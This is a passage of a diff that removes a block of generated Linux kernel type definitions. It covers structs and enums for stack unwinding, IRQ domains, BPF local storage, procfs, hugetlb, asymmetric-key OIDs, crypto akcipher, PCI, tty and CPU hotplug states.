long unsigned int *end; - long unsigned int *next_sp; -}; - -struct unwind_state { - struct stack_info stack_info; - long unsigned int stack_mask; - struct task_struct *task; - int graph_idx; - struct llist_node *kr_cur; - bool error; - bool signal; - bool full_regs; - long unsigned int sp; - long unsigned int bp; - long unsigned int ip; - struct pt_regs *regs; - struct pt_regs *prev_regs; -}; - -struct stack_frame_user { - const void *next_fp; - long unsigned int ret_addr; -}; - -struct of_phandle_args { - struct device_node *np; - int args_count; - uint32_t args[16]; -}; - -enum { - IRQ_DOMAIN_FLAG_HIERARCHY = 1, - IRQ_DOMAIN_NAME_ALLOCATED = 2, - IRQ_DOMAIN_FLAG_IPI_PER_CPU = 4, - IRQ_DOMAIN_FLAG_IPI_SINGLE = 8, - IRQ_DOMAIN_FLAG_MSI = 16, - IRQ_DOMAIN_FLAG_MSI_REMAP = 32, - IRQ_DOMAIN_MSI_NOMASK_QUIRK = 64, - IRQ_DOMAIN_FLAG_NO_MAP = 128, - IRQ_DOMAIN_FLAG_NONCORE = 65536, -}; - -enum { - IRQ_TYPE_NONE = 0, - IRQ_TYPE_EDGE_RISING = 1, - IRQ_TYPE_EDGE_FALLING = 2, - IRQ_TYPE_EDGE_BOTH = 3, - IRQ_TYPE_LEVEL_HIGH = 4, - IRQ_TYPE_LEVEL_LOW = 8, - IRQ_TYPE_LEVEL_MASK = 12, - IRQ_TYPE_SENSE_MASK = 15, - IRQ_TYPE_DEFAULT = 15, - IRQ_TYPE_PROBE = 16, - IRQ_LEVEL = 256, - IRQ_PER_CPU = 512, - IRQ_NOPROBE = 1024, - IRQ_NOREQUEST = 2048, - IRQ_NOAUTOEN = 4096, - IRQ_NO_BALANCING = 8192, - IRQ_MOVE_PCNTXT = 16384, - IRQ_NESTED_THREAD = 32768, - IRQ_NOTHREAD = 65536, - IRQ_PER_CPU_DEVID = 131072, - IRQ_IS_POLLED = 262144, - IRQ_DISABLE_UNLAZY = 524288, - IRQ_HIDDEN = 1048576, - IRQ_NO_DEBUG = 2097152, -}; - -struct irqchip_fwid { - struct fwnode_handle fwnode; - unsigned int type; - char *name; - phys_addr_t *pa; -}; - -struct bpf_local_storage_data; - -struct bpf_local_storage { - struct bpf_local_storage_data *cache[16]; - struct hlist_head list; - void *owner; - struct callback_head rcu; - raw_spinlock_t lock; -}; - -enum { - BPF_LOCAL_STORAGE_GET_F_CREATE = 1, - BPF_SK_STORAGE_GET_F_CREATE = 1, -}; - -enum { - BTF_TRACING_TYPE_TASK = 0, - BTF_TRACING_TYPE_FILE = 1, - BTF_TRACING_TYPE_VMA = 2, - MAX_BTF_TRACING_TYPE = 3, -}; - -struct bpf_local_storage_map_bucket; - -struct bpf_local_storage_map { - struct bpf_map map; - struct bpf_local_storage_map_bucket *buckets; - u32 bucket_log; - u16 elem_size; - u16 cache_idx; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_local_storage_map_bucket { - struct hlist_head list; - raw_spinlock_t lock; -}; - -struct bpf_local_storage_data { - struct bpf_local_storage_map *smap; - u8 data[0]; -}; - -struct bpf_local_storage_elem { - struct hlist_node map_node; - struct hlist_node snode; - struct bpf_local_storage *local_storage; - struct callback_head rcu; - long: 64; - struct bpf_local_storage_data sdata; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_local_storage_cache { - spinlock_t idx_lock; - u64 idx_usage_counts[16]; -}; - -typedef u64 (*btf_bpf_task_storage_get_recur)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_task_storage_get)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_task_storage_delete_recur)(struct bpf_map *, struct task_struct *); - -typedef u64 (*btf_bpf_task_storage_delete)(struct bpf_map *, struct task_struct *); - -struct fs_struct { - int users; - spinlock_t lock; - seqcount_spinlock_t seq; - int umask; - int in_exec; - struct path root; - struct path pwd; -}; - -enum kernel_read_file_id { - READING_UNKNOWN = 0, - READING_FIRMWARE = 1, - READING_MODULE = 2, - READING_KEXEC_IMAGE = 3, - READING_KEXEC_INITRAMFS = 4, - READING_POLICY = 5, - READING_X509_CERTIFICATE = 6, - READING_MAX_ID = 7, -}; - -struct pseudo_fs_context { - const struct super_operations *ops; - const struct xattr_handler **xattr; - const struct dentry_operations *dops; - long unsigned int magic; -}; - -typedef u32 nlink_t; - -typedef long unsigned int vm_flags_t; - -struct linux_binprm; - -struct coredump_params; - -struct linux_binfmt { - struct list_head lh; - struct module *module; - int (*load_binary)(struct linux_binprm *); - int (*load_shlib)(struct file *); - int (*core_dump)(struct coredump_params *); - long unsigned int min_coredump; -}; - -struct mm_walk; - -struct mm_walk_ops { - int (*pgd_entry)(pgd_t *, long unsigned int, long unsigned int, struct mm_walk *); - int (*p4d_entry)(p4d_t *, long unsigned int, long unsigned int, struct mm_walk *); - int (*pud_entry)(pud_t *, long unsigned int, long unsigned int, struct mm_walk *); - int (*pmd_entry)(pmd_t *, long unsigned int, long unsigned int, struct mm_walk *); - int (*pte_entry)(pte_t *, long unsigned int, long unsigned int, struct mm_walk *); - int (*pte_hole)(long unsigned int, long unsigned int, int, struct mm_walk *); - int (*hugetlb_entry)(pte_t *, long unsigned int, long unsigned int, long unsigned int, struct mm_walk *); - int (*test_walk)(long unsigned int, long unsigned int, struct mm_walk *); - int (*pre_vma)(long unsigned int, long unsigned int, struct mm_walk *); - void (*post_vma)(struct mm_walk *); -}; - -enum page_walk_action { - ACTION_SUBTREE = 0, - ACTION_CONTINUE = 1, - ACTION_AGAIN = 2, -}; - -struct mm_walk { - const struct mm_walk_ops *ops; - struct mm_struct *mm; - pgd_t *pgd; - struct vm_area_struct *vma; - enum page_walk_action action; - bool no_vma; - void *private; -}; - -struct nsset { - unsigned int flags; - struct nsproxy *nsproxy; - struct fs_struct *fs; - const struct cred *cred; -}; - -typedef int (*proc_write_t)(struct file *, char *, size_t); - -struct proc_dir_entry { - atomic_t in_use; - refcount_t refcnt; - struct list_head pde_openers; - spinlock_t pde_unload_lock; - struct completion *pde_unload_completion; - const struct inode_operations *proc_iops; - union { - const struct proc_ops *proc_ops; - const struct file_operations *proc_dir_ops; - }; - const struct dentry_operations *proc_dops; - union { - const struct seq_operations *seq_ops; - int (*single_show)(struct seq_file *, void *); - }; - proc_write_t write; - void *data; - unsigned int state_size; - unsigned int low_ino; - nlink_t nlink; - kuid_t uid; - kgid_t gid; - loff_t size; - struct proc_dir_entry *parent; - struct rb_root subdir; - struct rb_node subdir_node; - char *name; - umode_t mode; - u8 flags; - u8 namelen; - char inline_name[0]; -}; - -typedef long unsigned int pte_marker; - -struct hstate; - -struct hugepage_subpool { - spinlock_t lock; - long int count; - long int max_hpages; - long int used_hpages; - struct hstate *hstate; - long int min_hpages; - long int rsv_hpages; -}; - -struct hstate { - struct mutex resize_lock; - int next_nid_to_alloc; - int next_nid_to_free; - unsigned int order; - unsigned int demote_order; - long unsigned int mask; - long unsigned int max_huge_pages; - long unsigned int nr_huge_pages; - long unsigned int free_huge_pages; - long unsigned int resv_huge_pages; - long unsigned int surplus_huge_pages; - long unsigned int nr_overcommit_huge_pages; - struct list_head hugepage_activelist; - struct list_head hugepage_freelists[64]; - unsigned int max_huge_pages_node[64]; - unsigned int nr_huge_pages_node[64]; - unsigned int free_huge_pages_node[64]; - unsigned int surplus_huge_pages_node[64]; - struct cftype cgroup_files_dfl[8]; - struct cftype cgroup_files_legacy[10]; - char name[32]; -}; - -struct hugetlbfs_sb_info { - long int max_inodes; - long int free_inodes; - spinlock_t stat_lock; - struct hstate *hstate; - struct hugepage_subpool *spool; - kuid_t uid; - kgid_t gid; - umode_t mode; -}; - -struct mmu_notifier_range { - long unsigned int start; - long unsigned int end; -}; - -struct linux_binprm { - struct vm_area_struct *vma; - long unsigned int vma_pages; - struct mm_struct *mm; - long unsigned int p; - long unsigned int argmin; - unsigned int have_execfd: 1; - unsigned int execfd_creds: 1; - unsigned int secureexec: 1; - unsigned int point_of_no_return: 1; - struct file *executable; - struct file *interpreter; - struct file *file; - struct cred *cred; - int unsafe; - unsigned int per_clear; - int argc; - int envc; - const char *filename; - const char *interp; - const char *fdpath; - unsigned int interp_flags; - int execfd; - long unsigned int loader; - long unsigned int exec; - struct rlimit rlim_stack; - char buf[256]; -}; - -union proc_op { - int (*proc_get_link)(struct dentry *, struct path *); - int (*proc_show)(struct seq_file *, struct pid_namespace *, struct pid *, struct task_struct *); - const char *lsm; -}; - -struct proc_inode { - struct pid *pid; - unsigned int fd; - union proc_op op; - struct proc_dir_entry *pde; - struct ctl_table_header *sysctl; - struct ctl_table *sysctl_entry; - struct hlist_node sibling_inodes; - const struct proc_ns_operations *ns_ops; - struct inode vfs_inode; -}; - -struct proc_maps_private { - struct inode *inode; - struct task_struct *task; - struct mm_struct *mm; - struct vma_iterator iter; - struct mempolicy *task_mempolicy; -}; - -struct mem_size_stats { - long unsigned int resident; - long unsigned int shared_clean; - long unsigned int shared_dirty; - long unsigned int private_clean; - long unsigned int private_dirty; - long unsigned int referenced; - long unsigned int anonymous; - long unsigned int lazyfree; - long unsigned int anonymous_thp; - long unsigned int shmem_thp; - long unsigned int file_thp; - long unsigned int swap; - long unsigned int shared_hugetlb; - long unsigned int private_hugetlb; - u64 pss; - u64 pss_anon; - u64 pss_file; - u64 pss_shmem; - u64 pss_dirty; - u64 pss_locked; - u64 swap_pss; -}; - -enum clear_refs_types { - CLEAR_REFS_ALL = 1, - CLEAR_REFS_ANON = 2, - CLEAR_REFS_MAPPED = 3, - CLEAR_REFS_SOFT_DIRTY = 4, - CLEAR_REFS_MM_HIWATER_RSS = 5, - CLEAR_REFS_LAST = 6, -}; - -struct clear_refs_private { - enum clear_refs_types type; -}; - -typedef struct { - u64 pme; -} pagemap_entry_t; - -struct pagemapread { - int pos; - int len; - pagemap_entry_t *buffer; - bool show_pfn; -}; - -struct numa_maps { - long unsigned int pages; - long unsigned int anon; - long unsigned int active; - long unsigned int writeback; - long unsigned int mapcount_max; - long unsigned int dirty; - long unsigned int swapcache; - long unsigned int node[64]; -}; - -struct numa_maps_private { - struct proc_maps_private proc_maps; - struct numa_maps md; -}; - -struct key_preparsed_payload { - const char *orig_description; - char *description; - union key_payload payload; - const void *data; - size_t datalen; - size_t quotalen; - time64_t expiry; -}; - -struct key_match_data { - bool (*cmp)(const struct key *, const struct key_match_data *); - const void *raw_data; - void *preparsed; - unsigned int lookup_type; -}; - -enum kernel_pkey_operation { - kernel_pkey_encrypt = 0, - kernel_pkey_decrypt = 1, - kernel_pkey_sign = 2, - kernel_pkey_verify = 3, -}; - -struct kernel_pkey_params { - struct key *key; - const char *encoding; - const char *hash_algo; - char *info; - __u32 in_len; - union { - __u32 out_len; - __u32 in2_len; - }; - enum kernel_pkey_operation op: 8; -}; - -struct kernel_pkey_query { - __u32 supported_ops; - __u32 key_size; - __u16 max_data_size; - __u16 max_sig_size; - __u16 max_enc_size; - __u16 max_dec_size; -}; - -enum key_being_used_for { - VERIFYING_MODULE_SIGNATURE = 0, - VERIFYING_FIRMWARE_SIGNATURE = 1, - VERIFYING_KEXEC_PE_SIGNATURE = 2, - VERIFYING_KEY_SIGNATURE = 3, - VERIFYING_KEY_SELF_SIGNATURE = 4, - VERIFYING_UNSPECIFIED_SIGNATURE = 5, - NR__KEY_BEING_USED_FOR = 6, -}; - -enum asymmetric_payload_bits { - asym_crypto = 0, - asym_subtype = 1, - asym_key_ids = 2, - asym_auth = 3, -}; - -struct asymmetric_key_id { - short unsigned int len; - unsigned char data[0]; -}; - -struct public_key_signature; - -struct asymmetric_key_subtype { - struct module *owner; - const char *name; - short unsigned int name_len; - void (*describe)(const struct key *, struct seq_file *); - void (*destroy)(void *, void *); - int (*query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); - int (*eds_op)(struct kernel_pkey_params *, const void *, void *); - int (*verify_signature)(const struct key *, const struct public_key_signature *); -}; - -struct public_key_signature { - struct asymmetric_key_id *auth_ids[3]; - u8 *s; - u8 *digest; - u32 s_size; - u32 digest_size; - const char *pkey_algo; - const char *hash_algo; - const char *encoding; - const void *data; - unsigned int data_size; -}; - -enum OID { - OID_id_dsa_with_sha1 = 0, - OID_id_dsa = 1, - OID_id_ecPublicKey = 2, - OID_id_prime192v1 = 3, - OID_id_prime256v1 = 4, - OID_id_ecdsa_with_sha1 = 5, - OID_id_ecdsa_with_sha224 = 6, - OID_id_ecdsa_with_sha256 = 7, - OID_id_ecdsa_with_sha384 = 8, - OID_id_ecdsa_with_sha512 = 9, - OID_rsaEncryption = 10, - OID_md2WithRSAEncryption = 11, - OID_md3WithRSAEncryption = 12, - OID_md4WithRSAEncryption = 13, - OID_sha1WithRSAEncryption = 14, - OID_sha256WithRSAEncryption = 15, - OID_sha384WithRSAEncryption = 16, - OID_sha512WithRSAEncryption = 17, - OID_sha224WithRSAEncryption = 18, - OID_data = 19, - OID_signed_data = 20, - OID_email_address = 21, - OID_contentType = 22, - OID_messageDigest = 23, - OID_signingTime = 24, - OID_smimeCapabilites = 25, - OID_smimeAuthenticatedAttrs = 26, - OID_md2 = 27, - OID_md4 = 28, - OID_md5 = 29, - OID_mskrb5 = 30, - OID_krb5 = 31, - OID_krb5u2u = 32, - OID_msIndirectData = 33, - OID_msStatementType = 34, - OID_msSpOpusInfo = 35, - OID_msPeImageDataObjId = 36, - OID_msIndividualSPKeyPurpose = 37, - OID_msOutlookExpress = 38, - OID_ntlmssp = 39, - OID_spnego = 40, - OID_IAKerb = 41, - OID_PKU2U = 42, - OID_Scram = 43, - OID_certAuthInfoAccess = 44, - OID_sha1 = 45, - OID_id_ansip384r1 = 46, - OID_sha256 = 47, - OID_sha384 = 48, - OID_sha512 = 49, - OID_sha224 = 50, - OID_commonName = 51, - OID_surname = 52, - OID_countryName = 53, - OID_locality = 54, - OID_stateOrProvinceName = 55, - OID_organizationName = 56, - OID_organizationUnitName = 57, - OID_title = 58, - OID_description = 59, - OID_name = 60, - OID_givenName = 61, - OID_initials = 62, - OID_generationalQualifier = 63, - OID_subjectKeyIdentifier = 64, - OID_keyUsage = 65, - OID_subjectAltName = 66, - OID_issuerAltName = 67, - OID_basicConstraints = 68, - OID_crlDistributionPoints = 69, - OID_certPolicies = 70, - OID_authorityKeyIdentifier = 71, - OID_extKeyUsage = 72, - OID_NetlogonMechanism = 73, - OID_appleLocalKdcSupported = 74, - OID_gostCPSignA = 75, - OID_gostCPSignB = 76, - OID_gostCPSignC = 77, - OID_gost2012PKey256 = 78, - OID_gost2012PKey512 = 79, - OID_gost2012Digest256 = 80, - OID_gost2012Digest512 = 81, - OID_gost2012Signature256 = 82, - OID_gost2012Signature512 = 83, - OID_gostTC26Sign256A = 84, - OID_gostTC26Sign256B = 85, - OID_gostTC26Sign256C = 86, - OID_gostTC26Sign256D = 87, - OID_gostTC26Sign512A = 88, - OID_gostTC26Sign512B = 89, - OID_gostTC26Sign512C = 90, - OID_sm2 = 91, - OID_sm3 = 92, - OID_SM2_with_SM3 = 93, - OID_sm3WithRSAEncryption = 94, - OID_TPMLoadableKey = 95, - OID_TPMImportableKey = 96, - OID_TPMSealedData = 97, - OID__NR = 98, -}; - -struct public_key { - void *key; - u32 keylen; - enum OID algo; - void *params; - u32 paramlen; - bool key_is_private; - const char *id_type; - const char *pkey_algo; -}; - -struct crypto_async_request; - -typedef void (*crypto_completion_t)(struct crypto_async_request *, int); - -struct crypto_async_request { - struct list_head list; - crypto_completion_t complete; - void *data; - struct crypto_tfm *tfm; - u32 flags; -}; - -struct crypto_wait { - struct completion completion; - int err; -}; - -struct akcipher_request { - struct crypto_async_request base; - struct scatterlist *src; - struct scatterlist *dst; - unsigned int src_len; - unsigned int dst_len; - void *__ctx[0]; -}; - -struct crypto_akcipher { - struct crypto_tfm base; -}; - -struct akcipher_alg { - int (*sign)(struct akcipher_request *); - int (*verify)(struct akcipher_request *); - int (*encrypt)(struct akcipher_request *); - int (*decrypt)(struct akcipher_request *); - int (*set_pub_key)(struct crypto_akcipher *, const void *, unsigned int); - int (*set_priv_key)(struct crypto_akcipher *, const void *, unsigned int); - unsigned int (*max_size)(struct crypto_akcipher *); - int (*init)(struct crypto_akcipher *); - void (*exit)(struct crypto_akcipher *); - unsigned int reqsize; - struct crypto_alg base; -}; - -typedef long unsigned int mpi_limb_t; - -typedef mpi_limb_t *mpi_ptr_t; - -typedef int mpi_size_t; - -typedef mpi_limb_t UWtype; - -typedef unsigned int UHWtype; - -struct gcry_mpi { - int alloced; - int nlimbs; - int nbits; - int sign; - unsigned int flags; - mpi_limb_t *d; -}; - -typedef struct gcry_mpi *MPI; - -typedef u32 depot_stack_handle_t; - -union handle_parts { - depot_stack_handle_t handle; - struct { - u32 slabindex: 16; - u32 offset: 10; - u32 valid: 1; - u32 extra: 5; - }; -}; - -struct stack_record { - struct stack_record *next; - u32 hash; - u32 size; - union handle_parts handle; - long unsigned int entries[0]; -}; - -enum kobject_action { - KOBJ_ADD = 0, - KOBJ_REMOVE = 1, - KOBJ_CHANGE = 2, - KOBJ_MOVE = 3, - KOBJ_ONLINE = 4, - KOBJ_OFFLINE = 5, - KOBJ_BIND = 6, - KOBJ_UNBIND = 7, -}; - -struct device_attribute { - struct attribute attr; - ssize_t (*show)(struct device *, struct device_attribute *, char *); - ssize_t (*store)(struct device *, struct device_attribute *, const char *, size_t); -}; - -enum pci_dev_flags { - PCI_DEV_FLAGS_MSI_INTX_DISABLE_BUG = 1, - PCI_DEV_FLAGS_NO_D3 = 2, - PCI_DEV_FLAGS_ASSIGNED = 4, - PCI_DEV_FLAGS_ACS_ENABLED_QUIRK = 8, - PCI_DEV_FLAG_PCIE_BRIDGE_ALIAS = 32, - PCI_DEV_FLAGS_NO_BUS_RESET = 64, - PCI_DEV_FLAGS_NO_PM_RESET = 128, - PCI_DEV_FLAGS_VPD_REF_F0 = 256, - PCI_DEV_FLAGS_BRIDGE_XLATE_ROOT = 512, - PCI_DEV_FLAGS_NO_FLR_RESET = 1024, - PCI_DEV_FLAGS_NO_RELAXED_ORDERING = 2048, - PCI_DEV_FLAGS_HAS_MSI_MASKING = 4096, -}; - -typedef u64 pci_bus_addr_t; - -struct pci_bus_region { - pci_bus_addr_t start; - pci_bus_addr_t end; -}; - -struct pci_sysdata { - int domain; - int node; - struct acpi_device *companion; - void *iommu; - void *fwnode; -}; - -enum pci_bar_type { - pci_bar_unknown = 0, - pci_bar_io = 1, - pci_bar_mem32 = 2, - pci_bar_mem64 = 3, -}; - -struct x86_cpu_id { - __u16 vendor; - __u16 family; - __u16 model; - __u16 steppings; - __u16 feature; - kernel_ulong_t driver_data; -}; - -struct override_status_id { - struct acpi_device_id hid[2]; - struct x86_cpu_id cpu_ids[2]; - struct dmi_system_id dmi_ids[2]; - const char *uid; - const char *path; - long long unsigned int status; -}; - -struct n_tty_data { - size_t read_head; - size_t commit_head; - size_t canon_head; - size_t echo_head; - size_t echo_commit; - size_t echo_mark; - long unsigned int char_map[4]; - long unsigned int overrun_time; - int num_overrun; - bool no_room; - unsigned char lnext: 1; - unsigned char erasing: 1; - unsigned char raw: 1; - unsigned char real_raw: 1; - unsigned char icanon: 1; - unsigned char push: 1; - char read_buf[4096]; - long unsigned int read_flags[64]; - unsigned char echo_buf[4096]; - size_t read_tail; - size_t line_start; - size_t lookahead_count; - unsigned int column; - unsigned int canon_column; - size_t echo_tail; - struct mutex atomic_read_lock; - struct mutex output_lock; -}; - -enum { - ERASE = 0, - WERASE = 1, - KILL = 2, -}; - -struct iova { - struct rb_node node; - long unsigned int pfn_hi; - long unsigned int pfn_lo; -}; - -struct iova_rcache; - -struct iova_domain { - spinlock_t iova_rbtree_lock; - struct rb_root rbroot; - struct rb_node *cached_node; - struct rb_node *cached32_node; - long unsigned int granule; - long unsigned int start_pfn; - long unsigned int dma_32bit_pfn; - long unsigned int max32_alloc_size; - struct iova anchor; - struct iova_rcache *rcaches; - struct hlist_node cpuhp_dead; -}; - -struct iova_magazine; - -struct iova_cpu_rcache; - -struct iova_rcache { - spinlock_t lock; - long unsigned int depot_size; - struct iova_magazine *depot[32]; - struct iova_cpu_rcache *cpu_rcaches; -}; - -enum cpuhp_state { - CPUHP_INVALID = -1, - CPUHP_OFFLINE = 0, - CPUHP_CREATE_THREADS = 1, - CPUHP_PERF_PREPARE = 2, - CPUHP_PERF_X86_PREPARE = 3, - CPUHP_PERF_X86_AMD_UNCORE_PREP = 4, - CPUHP_PERF_POWER = 5, - CPUHP_PERF_SUPERH = 6, - CPUHP_X86_HPET_DEAD = 7, - CPUHP_X86_APB_DEAD = 8, - CPUHP_X86_MCE_DEAD = 9, - CPUHP_VIRT_NET_DEAD = 10, - CPUHP_IBMVNIC_DEAD = 11, - CPUHP_SLUB_DEAD = 12, - CPUHP_DEBUG_OBJ_DEAD = 13, - CPUHP_MM_WRITEBACK_DEAD = 14, - CPUHP_MM_DEMOTION_DEAD = 15, - CPUHP_MM_VMSTAT_DEAD = 16, - CPUHP_SOFTIRQ_DEAD = 17, - CPUHP_NET_MVNETA_DEAD = 18, - CPUHP_CPUIDLE_DEAD = 19, - CPUHP_ARM64_FPSIMD_DEAD = 20, - CPUHP_ARM_OMAP_WAKE_DEAD = 21, - CPUHP_IRQ_POLL_DEAD = 22, - CPUHP_BLOCK_SOFTIRQ_DEAD = 23, - CPUHP_BIO_DEAD = 24, - CPUHP_ACPI_CPUDRV_DEAD = 25, - CPUHP_S390_PFAULT_DEAD = 26, - CPUHP_BLK_MQ_DEAD = 27, - CPUHP_FS_BUFF_DEAD = 28, - CPUHP_PRINTK_DEAD = 29, - CPUHP_MM_MEMCQ_DEAD = 30, - CPUHP_XFS_DEAD = 31, - CPUHP_PERCPU_CNT_DEAD = 32, - CPUHP_RADIX_DEAD = 33, - CPUHP_PAGE_ALLOC = 34, - CPUHP_NET_DEV_DEAD = 35, - CPUHP_PCI_XGENE_DEAD = 36, - CPUHP_IOMMU_IOVA_DEAD = 37, - CPUHP_LUSTRE_CFS_DEAD = 38, - CPUHP_AP_ARM_CACHE_B15_RAC_DEAD = 39, - CPUHP_PADATA_DEAD = 40, - CPUHP_AP_DTPM_CPU_DEAD = 41, - CPUHP_RANDOM_PREPARE = 42, - CPUHP_WORKQUEUE_PREP = 43, - CPUHP_POWER_NUMA_PREPARE = 44, - CPUHP_HRTIMERS_PREPARE = 45, - CPUHP_PROFILE_PREPARE = 46, - CPUHP_X2APIC_PREPARE = 47, - CPUHP_SMPCFD_PREPARE = 48, - CPUHP_RELAY_PREPARE = 49, - CPUHP_SLAB_PREPARE = 50, - CPUHP_MD_RAID5_PREPARE = 51, - CPUHP_RCUTREE_PREP = 52, - CPUHP_CPUIDLE_COUPLED_PREPARE = 53, - CPUHP_POWERPC_PMAC_PREPARE = 54, - CPUHP_POWERPC_MMU_CTX_PREPARE = 55, - CPUHP_XEN_PREPARE = 56, - CPUHP_XEN_EVTCHN_PREPARE = 57, - CPUHP_ARM_SHMOBILE_SCU_PREPARE = 58, - CPUHP_SH_SH3X_PREPARE = 59, - CPUHP_NET_FLOW_PREPARE = 60, - CPUHP_TOPOLOGY_PREPARE = 61, - CPUHP_NET_IUCV_PREPARE = 62, - CPUHP_ARM_BL_PREPARE = 63, - CPUHP_TRACE_RB_PREPARE = 64, - CPUHP_MM_ZS_PREPARE = 65, - CPUHP_MM_ZSWP_MEM_PREPARE = 66, - CPUHP_MM_ZSWP_POOL_PREPARE = 67, - CPUHP_KVM_PPC_BOOK3S_PREPARE = 68, - CPUHP_ZCOMP_PREPARE = 69, - CPUHP_TIMERS_PREPARE = 70, - CPUHP_MIPS_SOC_PREPARE = 71, - CPUHP_BP_PREPARE_DYN = 72, - CPUHP_BP_PREPARE_DYN_END = 92, - CPUHP_BRINGUP_CPU = 93, - CPUHP_AP_IDLE_DEAD = 94, - CPUHP_AP_OFFLINE = 95, - CPUHP_AP_SCHED_STARTING = 96, - CPUHP_AP_RCUTREE_DYING = 97, - CPUHP_AP_CPU_PM_STARTING = 98, - CPUHP_AP_IRQ_GIC_STARTING = 99, - CPUHP_AP_IRQ_HIP04_STARTING = 100, - CPUHP_AP_IRQ_APPLE_AIC_STARTING = 101, - CPUHP_AP_IRQ_ARMADA_XP_STARTING = 102, - CPUHP_AP_IRQ_BCM2836_STARTING = 103, - CPUHP_AP_IRQ_MIPS_GIC_STARTING = 104, - CPUHP_AP_IRQ_RISCV_STARTING = 105, - CPUHP_AP_IRQ_LOONGARCH_STARTING = 106, - CPUHP_AP_IRQ_SIFIVE_PLIC_STARTING = 107, - CPUHP_AP_ARM_MVEBU_COHERENCY = 108, - CPUHP_AP_MICROCODE_LOADER = 109, - CPUHP_AP_PERF_X86_AMD_UNCORE_STARTING = 110, - CPUHP_AP_PERF_X86_STARTING = 111, - CPUHP_AP_PERF_X86_AMD_IBS_STARTING = 112, - CPUHP_AP_PERF_X86_CQM_STARTING = 113, - CPUHP_AP_PERF_X86_CSTATE_STARTING = 114, - CPUHP_AP_PERF_XTENSA_STARTING = 115, - CPUHP_AP_MIPS_OP_LOONGSON3_STARTING = 116, - CPUHP_AP_ARM_SDEI_STARTING = 117, - CPUHP_AP_ARM_VFP_STARTING = 118, - CPUHP_AP_ARM64_DEBUG_MONITORS_STARTING = 119, - CPUHP_AP_PERF_ARM_HW_BREAKPOINT_STARTING = 120, - CPUHP_AP_PERF_ARM_ACPI_STARTING = 121, - CPUHP_AP_PERF_ARM_STARTING = 122, - CPUHP_AP_PERF_RISCV_STARTING = 123, - CPUHP_AP_ARM_L2X0_STARTING = 124, - CPUHP_AP_EXYNOS4_MCT_TIMER_STARTING = 125, - CPUHP_AP_ARM_ARCH_TIMER_STARTING = 126, - CPUHP_AP_ARM_GLOBAL_TIMER_STARTING = 127, - CPUHP_AP_JCORE_TIMER_STARTING = 128, - CPUHP_AP_ARM_TWD_STARTING = 129, - CPUHP_AP_QCOM_TIMER_STARTING = 130, - CPUHP_AP_TEGRA_TIMER_STARTING = 131, - CPUHP_AP_ARMADA_TIMER_STARTING = 132, - CPUHP_AP_MARCO_TIMER_STARTING = 133, - CPUHP_AP_MIPS_GIC_TIMER_STARTING = 134, - CPUHP_AP_ARC_TIMER_STARTING = 135, - CPUHP_AP_RISCV_TIMER_STARTING = 136, - CPUHP_AP_CLINT_TIMER_STARTING = 137, - CPUHP_AP_CSKY_TIMER_STARTING = 138, - CPUHP_AP_TI_GP_TIMER_STARTING = 139, - CPUHP_AP_HYPERV_TIMER_STARTING = 140, - CPUHP_AP_KVM_STARTING = 141, - CPUHP_AP_KVM_ARM_VGIC_INIT_STARTING = 142, - CPUHP_AP_KVM_ARM_VGIC_STARTING = 143, - CPUHP_AP_KVM_ARM_TIMER_STARTING = 144, - CPUHP_AP_DUMMY_TIMER_STARTING = 145, - CPUHP_AP_ARM_XEN_STARTING = 146, - CPUHP_AP_ARM_CORESIGHT_STARTING = 147, - CPUHP_AP_ARM_CORESIGHT_CTI_STARTING = 148, - CPUHP_AP_ARM64_ISNDEP_STARTING = 149, - CPUHP_AP_SMPCFD_DYING = 150, - CPUHP_AP_X86_TBOOT_DYING = 151, - CPUHP_AP_ARM_CACHE_B15_RAC_DYING = 152, - CPUHP_AP_ONLINE = 153, - CPUHP_TEARDOWN_CPU = 154, - CPUHP_AP_ONLINE_IDLE = 155, - CPUHP_AP_SCHED_WAIT_EMPTY = 156, - CPUHP_AP_SMPBOOT_THREADS = 157, - CPUHP_AP_X86_VDSO_VMA_ONLINE = 158, - CPUHP_AP_IRQ_AFFINITY_ONLINE = 159, - CPUHP_AP_BLK_MQ_ONLINE = 160, - CPUHP_AP_ARM_MVEBU_SYNC_CLOCKS = 161, - CPUHP_AP_X86_INTEL_EPB_ONLINE = 162, - CPUHP_AP_PERF_ONLINE = 163, - CPUHP_AP_PERF_X86_ONLINE = 164, - CPUHP_AP_PERF_X86_UNCORE_ONLINE = 165, - CPUHP_AP_PERF_X86_AMD_UNCORE_ONLINE = 166, - CPUHP_AP_PERF_X86_AMD_POWER_ONLINE = 167, - CPUHP_AP_PERF_X86_RAPL_ONLINE = 168, - CPUHP_AP_PERF_X86_CQM_ONLINE = 169, - CPUHP_AP_PERF_X86_CSTATE_ONLINE = 170, - CPUHP_AP_PERF_X86_IDXD_ONLINE = 171, - CPUHP_AP_PERF_S390_CF_ONLINE = 172, - CPUHP_AP_PERF_S390_SF_ONLINE = 173, - CPUHP_AP_PERF_ARM_CCI_ONLINE = 174, - CPUHP_AP_PERF_ARM_CCN_ONLINE = 175, - CPUHP_AP_PERF_ARM_HISI_CPA_ONLINE = 176, - CPUHP_AP_PERF_ARM_HISI_DDRC_ONLINE = 177, - CPUHP_AP_PERF_ARM_HISI_HHA_ONLINE = 178, - CPUHP_AP_PERF_ARM_HISI_L3_ONLINE = 179, - CPUHP_AP_PERF_ARM_HISI_PA_ONLINE = 180, - CPUHP_AP_PERF_ARM_HISI_SLLC_ONLINE = 181, - CPUHP_AP_PERF_ARM_HISI_PCIE_PMU_ONLINE = 182, - CPUHP_AP_PERF_ARM_HNS3_PMU_ONLINE = 183, - CPUHP_AP_PERF_ARM_L2X0_ONLINE = 184, - CPUHP_AP_PERF_ARM_QCOM_L2_ONLINE = 185, - CPUHP_AP_PERF_ARM_QCOM_L3_ONLINE = 186, - CPUHP_AP_PERF_ARM_APM_XGENE_ONLINE = 187, - CPUHP_AP_PERF_ARM_CAVIUM_TX2_UNCORE_ONLINE = 188, - CPUHP_AP_PERF_ARM_MARVELL_CN10K_DDR_ONLINE = 189, - CPUHP_AP_PERF_POWERPC_NEST_IMC_ONLINE = 190, - CPUHP_AP_PERF_POWERPC_CORE_IMC_ONLINE = 191, - 